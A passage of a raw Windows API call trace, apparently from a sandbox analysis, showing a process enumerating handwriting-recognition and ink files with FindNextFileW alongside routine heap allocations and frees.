ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0045.497] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de0e8 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9dda80 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HWRCustomization", cAlternateFileName="")) returned 1 [0045.498] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de108 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec0d0 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33535c00, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x33535c00, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x332fa78d, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xc7240, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de128 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec598 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32bd661d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x32bd661d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x32a7f9d8, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x10ca50, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrlatinlm.dat", cAlternateFileName="")) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de148 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9ddb88 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de168 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec620 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3da5853e, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3da5853e, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d7f6f6e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x21ff00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwruksh.dat", cAlternateFileName="")) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de188 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec6a8 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db89026, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3db89026, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3d3cc942, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x30c330, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusalm.dat", cAlternateFileName="")) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de1a8 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec730 [0045.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.499] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbfb43d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3dbfb43d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3da7e69b, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x3ee0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwrusash.dat", cAlternateFileName="")) returned 1 [0045.499] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de1c8 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec7b8 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4c4bfb78, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x4c4bfb78, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x298e8420, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x56400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkDiv.dll", cAlternateFileName="")) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c412911, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6c412911, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29a8c2e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x201800, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll", cAlternateFileName="")) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5eab8150, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5eab8150, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe4490e80, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe", cAlternateFileName="")) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7700d105, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x7700d105, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xe45c2150, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x5da00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe", cAlternateFileName="")) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.500] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.500] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91865215, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x91865215, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa20, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscat.xml", cAlternateFileName="")) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de1e8 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec840 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de208 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec8c8 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de228 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec950 [0045.501] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.501] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1 [0045.501] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de248 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec9d8 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdan.xml", cAlternateFileName="")) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de268 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9eca60 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c49d71, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c49d71, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa38, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsdeu.xml", cAlternateFileName="")) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de288 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecae8 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c6fece, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c6fece, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsen.xml", cAlternateFileName="")) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ec400 [0045.502] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9de2a8 [0045.503] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ecb70 [0045.503] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ec400) returned 1 [0045.503] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27cbc188, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27cbc188, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, 